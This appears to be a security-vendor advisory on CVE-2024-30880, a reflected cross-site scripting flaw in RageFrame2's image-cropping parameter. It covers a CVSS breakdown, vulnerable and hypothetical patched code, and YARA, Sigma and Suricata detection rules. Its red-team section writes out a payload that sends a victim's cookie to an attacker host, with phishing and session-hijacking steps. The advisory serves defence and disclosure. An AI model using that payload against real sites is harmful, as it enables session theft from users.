CVE-2024-30880
Executive Summary
CVE-2024-30880 is a Reflected Cross-Site Scripting (XSS) vulnerability discovered in RageFrame2 version 2.6.43. The flaw resides in the image cropping function, where the multiple parameter is not properly sanitized. An attacker can inject arbitrary web scripts or HTML via a crafted payload, leading to session hijacking, credential theft, or sensitive information disclosure. The vulnerability is publicly known but remains unpatched as of the latest advisory. The CVSS score is 0.0 in the NVD record, but based on the description and impact, a more realistic score is 4.3 (Medium).
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
RageFrame2 is a PHP-based framework. The vulnerability is not in a package manager (NPM, PyPI, Go, Ruby) but in the core application code. No supply chain compromise is indicated; however, the lack of a patch means users must rely on manual mitigation.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – The attack is launched remotely.
- Attack Complexity (AC): Low (L) – No special conditions required.
- Privileges Required (PR): None (N) – No authentication needed.
- User Interaction (UI): Required (R) – The victim must click a crafted link.
- Scope (S): Changed (C) – The XSS can impact resources beyond the vulnerable component.
- Confidentiality (C): Low (L) – Limited data exposure.
- Integrity (I): Low (L) – Limited ability to modify data.
- Availability (A): None (N) – No impact on availability.
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Base Score: 4.3 (Medium)
Threat Level: Medium – Exploitation is straightforward but requires user interaction.
Deep Dive & Mechanics
The vulnerability is a classic Reflected XSS in the image cropping functionality of RageFrame2. The multiple parameter is echoed back to the user without proper encoding or validation. An attacker can craft a URL like:
https://target.com/index.php?r=image/crop&multiple=<script>alert('XSS')</script>
When a victim clicks this link, the script executes in their browser context. The lack of input sanitization allows arbitrary HTML/JavaScript injection. This can be used to steal cookies, perform actions on behalf of the user, or redirect to malicious sites.
The vulnerability is unpatched as of the latest advisory. No official fix or commit has been released by the vendor.
Vulnerable vs. Patched Code
Vulnerable Code (RageFrame2 v2.6.43):
The multiple parameter is directly output without sanitization.
// In image cropping controller
public function actionCrop($multiple = '')
{
// No sanitization
return $this->render('crop', ['multiple' => $multiple]);
}
Patched Code (Hypothetical):
The parameter should be HTML-encoded before output.
public function actionCrop($multiple = '')
{
// Sanitize with HTML encoding
$multiple = htmlspecialchars($multiple, ENT_QUOTES, 'UTF-8');
return $this->render('crop', ['multiple' => $multiple]);
}
Since no official patch exists, users must implement this fix manually.
Exploitation & Lab Setup
Red Team (Attack Simulation)
Step 1: Craft the malicious URL
https://target.com/index.php?r=image/crop&multiple=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
Step 2: Deliver the link
Use phishing emails, social media, or other channels to trick a user into clicking.
Step 3: Capture the cookie
Set up a listener on attacker.com to receive the stolen cookie.
Step 4: Session hijacking
Use the stolen cookie to impersonate the victim.
Blue Team (Defense & Detection)
Mitigation Steps:
- Input Validation: Sanitize the
multipleparameter usinghtmlspecialchars()or a similar function. - Content Security Policy (CSP): Implement a strict CSP to block inline scripts.
- Web Application Firewall (WAF): Deploy rules to block XSS payloads in query parameters.
- User Education: Train users not to click suspicious links.
Detection:
- Monitor logs for requests containing
<script>tags in themultipleparameter. - Use the Sigma rule below to detect exploitation attempts.
Indicators of Compromise (IOCs)
- URL Pattern:
index.php?r=image/crop&multiple=*<script>* - Network Traffic: HTTP requests with
multipleparameter containing<script>,onerror,onload, or similar XSS vectors. - Log Entries: Access logs showing
GET /index.php?r=image/crop&multiple=...with unusual characters. - Cookie Theft: Outbound connections to unknown domains from the victim's browser.
Detection Engineering
YARA Rule
rule CVE_2024_30880_XSS_Detection {
meta:
description = "Detects reflected XSS attempts against RageFrame2 image cropping function"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-30880"
strings:
$xss_payload = /multiple=.*<script[^>]*>.*<\/script>/i
$xss_event = /multiple=.*on\w+\s*=\s*['"]?[^'"]*['"]?/i
condition:
any of them
}
Sigma Rule
title: Reflected XSS Attempt Against RageFrame2 Image Cropping
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests with XSS payloads in the 'multiple' parameter targeting RageFrame2
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'GET'
c-uri|contains: 'index.php?r=image/crop&multiple='
c-uri|re: 'multiple=.*<script[^>]*>.*<\/script>'
condition: selection
falsepositives:
- Legitimate use of HTML in parameter (unlikely)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-30880 - Reflected XSS in RageFrame2 Image Cropping"; flow:to_server,established; content:"GET"; http_method; content:"index.php?r=image/crop&multiple="; http_uri; pcre:"/multiple=.*<script[^>]*>.*<\/script>/i"; sid:1000001; rev:1;)
Remediation & Mitigation
- Immediate Action: Manually sanitize the
multipleparameter in the image cropping controller usinghtmlspecialchars(). - Upgrade: Monitor the RageFrame2 repository for an official patch. If none is released, consider forking and applying the fix.
- WAF Rules: Deploy a WAF rule to block requests containing
<script>in themultipleparameter. - CSP Header: Add
Content-Security-Policy: script-src 'self'to prevent inline script execution. - User Awareness: Educate users about phishing attacks that exploit this vulnerability.
Valters IT
Securing Digital Frontiers